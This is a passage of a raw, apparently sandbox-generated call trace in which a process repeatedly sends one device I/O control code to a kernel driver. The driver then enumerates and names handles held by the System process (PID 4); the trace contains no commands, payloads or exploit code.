ApcState=0xfffff880054735d0) [0135.059] ObReferenceObjectByHandle (in: Handle=0xffffffff80000390, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002f61820, HandleInformation=0x0) returned 0x0 [0135.059] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.059] PsReleaseProcessExitSynchronization () returned 0x2 [0135.059] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.059] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88005473508) returned 0x0 [0135.059] ObfDereferenceObject (Object=0xfffffa8002f61820) returned 0x4 [0135.059] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.060] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.060] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.060] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0135.060] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.060] PsAcquireProcessExitSynchronization () returned 0x0 [0135.060] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.060] ObReferenceObjectByHandle (in: Handle=0xffffffff80000394, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80031a8d50, HandleInformation=0x0) returned 0x0 [0135.060] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.060] PsReleaseProcessExitSynchronization () returned 0x2 [0135.060] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.060] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88005473508) returned 0x0 [0135.060] ObfDereferenceObject (Object=0xfffffa80031a8d50) returned 0x1 [0135.060] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.060] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.060] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.060] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x72, lpOverlapped=0x0) returned 1 [0135.060] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.060] PsAcquireProcessExitSynchronization () returned 0x0 [0135.060] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.060] ObReferenceObjectByHandle (in: Handle=0xffffffff80000398, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80031a9f20, HandleInformation=0x0) returned 0x0 [0135.060] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.060] PsReleaseProcessExitSynchronization () returned 0x2 [0135.060] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.060] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005473508) returned 0x0 [0135.060] ObfDereferenceObject (Object=0xfffffa80031a9f20) returned 0x1 [0135.060] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.060] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.060] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.060] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0135.060] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.060] PsAcquireProcessExitSynchronization () returned 0x0 [0135.060] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.060] ObReferenceObjectByHandle (in: Handle=0xffffffff800003a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80031aa7c0, HandleInformation=0x0) returned 0x0 [0135.060] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.061] PsReleaseProcessExitSynchronization () returned 0x2 [0135.061] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.061] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fc3044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001fc3044, ReturnLength=0xfffff88005473508) returned 0x0 [0135.061] ObfDereferenceObject (Object=0xfffffa80031aa7c0) returned 0x1 [0135.061] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.061] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.061] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.061] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.061] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.061] PsAcquireProcessExitSynchronization () returned 0x0 [0135.061] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.061] ObReferenceObjectByHandle (in: Handle=0xffffffff800003b8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80031d7c80, HandleInformation=0x0) returned 0x0 [0135.061] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.061] PsReleaseProcessExitSynchronization () returned 0x2 [0135.061] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.061] ObQueryNameString (in: Object=0xfffffa80031d7c80, ObjectNameInfo=0xfffffa80019ff044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019ff044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.061] ObfDereferenceObject (Object=0xfffffa80031d7c80) returned 0x2 [0135.061] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.061] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.061] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.061] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0135.061] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.061] PsAcquireProcessExitSynchronization () returned 0x0 [0135.061] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.061] ObReferenceObjectByHandle (in: Handle=0xffffffff800003cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002f699f0, HandleInformation=0x0) returned 0x0 [0135.061] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.061] PsReleaseProcessExitSynchronization () returned 0x2 [0135.061] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.061] ObQueryNameString (in: Object=0xfffffa8002f699f0, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.062] ObfDereferenceObject (Object=0xfffffa8002f699f0) returned 0x1 [0135.062] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.062] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.062] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.062] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8e, lpOverlapped=0x0) returned 1 [0135.062] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.062] PsAcquireProcessExitSynchronization () returned 0x0 [0135.062] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.062] ObReferenceObjectByHandle (in: Handle=0xffffffff800003d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002f698a0, HandleInformation=0x0) returned 0x0 [0135.062] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.062] PsReleaseProcessExitSynchronization () returned 0x2 [0135.062] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.062] ObQueryNameString (in: Object=0xfffffa8002f698a0, ObjectNameInfo=0xfffffa80019fb044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fb044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.062] ObfDereferenceObject (Object=0xfffffa8002f698a0) returned 0x1 [0135.062] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.062] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.062] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.062] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0xde, lpOverlapped=0x0) returned 1 [0135.062] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.062] PsAcquireProcessExitSynchronization () returned 0x0 [0135.062] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.062] ObReferenceObjectByHandle (in: Handle=0xffffffff800003d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002f66340, HandleInformation=0x0) returned 0x0 [0135.062] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.062] PsReleaseProcessExitSynchronization () returned 0x2 [0135.062] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.062] ObQueryNameString (in: Object=0xfffffa8002f66340, ObjectNameInfo=0xfffffa80019fc044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fc044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.062] ObfDereferenceObject (Object=0xfffffa8002f66340) returned 0x2 [0135.062] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.063] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.063] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.063] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8e, lpOverlapped=0x0) returned 1 [0135.063] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.063] PsAcquireProcessExitSynchronization () returned 0x0 [0135.063] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.063] ObReferenceObjectByHandle (in: Handle=0xffffffff800003d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002f64f20, HandleInformation=0x0) returned 0x0 [0135.063] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.063] PsReleaseProcessExitSynchronization () returned 0x2 [0135.063] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.063] ObQueryNameString (in: Object=0xfffffa8002f64f20, ObjectNameInfo=0xfffffa80019fd044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fd044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.063] ObfDereferenceObject (Object=0xfffffa8002f64f20) returned 0x1 [0135.063] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.063] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.063] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.063] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x128, lpOverlapped=0x0) returned 1 [0135.063] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.063] PsAcquireProcessExitSynchronization () returned 0x0 [0135.063] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.063] ObReferenceObjectByHandle (in: Handle=0xffffffff800003dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80028dde80, HandleInformation=0x0) returned 0x0 [0135.063] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.063] PsReleaseProcessExitSynchronization () returned 0x2 [0135.063] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.063] ObQueryNameString (in: Object=0xfffffa80028dde80, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.063] ObfDereferenceObject (Object=0xfffffa80028dde80) returned 0x2 [0135.063] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.063] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.063] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.063] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x128, lpOverlapped=0x0) returned 1 [0135.064] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.064] PsAcquireProcessExitSynchronization () returned 0x0 [0135.064] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.064] ObReferenceObjectByHandle (in: Handle=0xffffffff800003e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002f69480, HandleInformation=0x0) returned 0x0 [0135.064] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.064] PsReleaseProcessExitSynchronization () returned 0x2 [0135.064] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.064] ObQueryNameString (in: Object=0xfffffa8002f69480, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.064] ObfDereferenceObject (Object=0xfffffa8002f69480) returned 0x2 [0135.064] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.064] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.064] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.064] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0135.064] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.064] PsAcquireProcessExitSynchronization () returned 0x0 [0135.064] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.064] ObReferenceObjectByHandle (in: Handle=0xffffffff800003e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80031dec90, HandleInformation=0x0) returned 0x0 [0135.064] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.064] PsReleaseProcessExitSynchronization () returned 0x2 [0135.064] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.064] ObQueryNameString (in: Object=0xfffffa80031dec90, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005473550) returned 0x0 [0135.064] ObfDereferenceObject (Object=0xfffffa80031dec90) returned 0x1 [0135.064] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.064] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.064] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.064] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0135.064] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.064] PsAcquireProcessExitSynchronization () returned 0x0 [0135.064] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.064] ObReferenceObjectByHandle (in: Handle=0xffffffff800003ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80031de700, HandleInformation=0x0) returned 0x0 [0135.064] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.065] PsReleaseProcessExitSynchronization () returned 0x2 [0135.065] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.065] ObQueryNameString (in: Object=0xfffffa80031de700, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0135.065] ObfDereferenceObject (Object=0xfffffa80031de700) returned 0x2 [0135.065] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.065] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.065] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.065] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x122, lpOverlapped=0x0) returned 1 [0135.065] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.065] PsAcquireProcessExitSynchronization () returned 0x0 [0135.065] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.065] ObReferenceObjectByHandle (in: Handle=0xffffffff800003f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80031f33b0, HandleInformation=0x0) returned 0x0 [0135.065] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.065] PsReleaseProcessExitSynchronization () returned 0x2 [0135.065] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.065] ObQueryNameString (in: Object=0xfffffa80031f33b0, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.065] ObfDereferenceObject (Object=0xfffffa80031f33b0) returned 0x2 [0135.065] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.065] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.065] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.065] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0xc8, lpOverlapped=0x0) returned 1 [0135.065] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.065] PsAcquireProcessExitSynchronization () returned 0x0 [0135.065] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.065] ObReferenceObjectByHandle (in: Handle=0xffffffff800003fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80031de920, HandleInformation=0x0) returned 0x0 [0135.065] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.065] PsReleaseProcessExitSynchronization () returned 0x2 [0135.065] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.065] ObQueryNameString (in: Object=0xfffffa80031de920, ObjectNameInfo=0xfffffa80025fb044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80025fb044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.066] ObfDereferenceObject (Object=0xfffffa80031de920) returned 0x1 [0135.066] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.066] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.066] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.066] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0xd2, lpOverlapped=0x0) returned 1 [0135.066] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.066] PsAcquireProcessExitSynchronization () returned 0x0 [0135.066] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.066] ObReferenceObjectByHandle (in: Handle=0xffffffff80000404, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002f649e0, HandleInformation=0x0) returned 0x0 [0135.066] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.066] PsReleaseProcessExitSynchronization () returned 0x2 [0135.066] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.066] ObQueryNameString (in: Object=0xfffffa8002f649e0, ObjectNameInfo=0xfffffa8002026044, Length=0x800, ReturnLength=0xfffff88005473550 | out: 